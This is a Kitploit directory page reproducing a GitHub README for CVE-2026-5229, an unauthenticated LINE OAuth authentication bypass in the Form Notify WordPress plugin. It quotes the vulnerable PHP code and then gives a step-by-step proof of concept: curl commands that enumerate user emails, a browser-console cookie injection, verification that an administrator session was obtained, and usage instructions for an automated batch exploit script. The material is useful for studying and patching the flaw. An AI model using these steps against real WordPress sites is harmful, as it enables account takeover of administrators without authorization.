Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5229 — CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-5229
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

View Repository
74 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) Vulnerability Type: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Affected Versions: <= 1.1.10 Patched Version: 1.1.11+ Researcher: Paolo Tresso — Wordfence


📌 About the Vulnerability

The Form Notify plugin is a WordPress plugin that sends notifications after form submissions and provides a LINE Login OAuth 2.0 integration.

The vulnerability exists in the LINE OAuth callback handler. After the user completes the LINE authorization flow, the plugin resolves the WordPress account solely by email address. It never checks whether the LINE account was previously linked to that WordPress account.


🔍 Version-Based Vulnerability Table

VersionVulnerabilityAttack Method
<= 1.1.08Cookie Injection + Email MatchPath A or Path B
1.1.09 – 1.1.10Email Match (cookie removed)Path B
1.1.11+Patched—

⚙️ Technical Analysis

Open REST Endpoint

The LINE OAuth callback endpoint is registered as completely public:

// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // no authentication required
        },
    )
);

Why Nonce Does Not Provide Protection

WordPress nonces are CSRF tokens, not authentication tokens. Any visitor can obtain a valid nonce from the page HTML and pass the validation check.


Email-Based Account Resolution (1.1.10)

// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // searches only by email
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // NO linkage check
    }
    return false;
}

If a match is found, the login() method immediately starts a session:

// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie Injection (<= 1.1.08)

// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

When the LINE profile does not return an email ($user->email is empty), the plugin reads the browser cookie directly. The attacker has full control over this cookie.


State Validation Weakness

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // If no transient, falls back to $_SESSION
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

If the transient expires, the $_SESSION fallback is used. In most WordPress installations, $_SESSION is not populated at this point → state check can be bypassed.


Secondary Issue — Email = Password (<= 1.1.10)

// sign_up() method
$userdata = array(
    'user_pass' => $user_email,  // password = email address
    ...
);

In accounts created via the LINE OAuth flow, the password is the same as the email address. This directly allows brute-force or login attacks.


🔴 Why Critical?

ReasonDescription
No Authentication RequiredCallback endpoint is completely public
No Linkage CheckAny LINE account is sufficient
Cookie Attack<= 1.1.08 does not even require an email
All Accounts Including Adminget_user_by('email') affects everyone
Weak State ControlCSRF protection can be bypassed
Email = PasswordOAuth-created accounts are vulnerable to trivial brute-force

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Prerequisites:

  • Form Notify plugin installed and active, LINE Login configured
  • LINE developer account and LINE Login channel
  • A page on the target site with a LINE login button

Path A — Cookie Injection (<= 1.1.08)

Step 1 — Target Email Discovery

TARGET="https://target.com"

# Get user list from WordPress REST API
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Or via author pages
curl -s "$TARGET/?author=1" -I | grep Location

Step 2 — Set Cookie

Open browser developer tools and paste into console:

document.cookie = "[email protected]; path=/";

Or with curl:

curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Step 3 — Start LINE OAuth Flow

Open the LINE OAuth URL from the Location header in the browser.

Step 4 — Complete WITHOUT Email Scope

On the LINE consent screen, do not grant email permission, or use a LINE account without an email. LINE redirects to the callback without an email. The plugin falls back to the cookie.

Step 5 — Verify Session

curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Expected response:

{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Path B — Email Match (<= 1.1.10)

Step 1 — Target Email Discovery

Same as Path A Step 1.

Step 2 — Create LINE Account

Create a LINE account at account.line.biz with the target email. (Requires email verification — access to the target inbox is necessary.)

Step 3 — Start OAuth Flow

https://target.com/wp-json/form-notify/v1/login

Step 4 — Complete WITH Email Scope

On the LINE consent screen, grant email permission. LINE returns the email address in the callback.

Step 5 — Automatic Authentication

Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator found
     → wp_set_auth_cookie(1)
     → Session started ✓

🛠️ Automated Scanner

Installation

git clone https://github.com/user/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

requests

🚀 Usage

Single Target — Automatic Email Discovery

python form_notify_rce.py -u http://target.com

Specific Email with Path A (Cookie Injection)

python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path A

Path B (Email Match) — Manual Completion

python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path B

Both Paths

python form_notify_rce.py -u http://target.com \
  --email [email protected] \
  --path both

Batch Scan

python form_notify_rce.py -l targets.txt -t 15 -o results.txt

Proxy (Burp Suite)

python form_notify_rce.py -u http://target.com \
  --proxy http://127.0.0.1:8080

⚙️ Parameters

Download Tool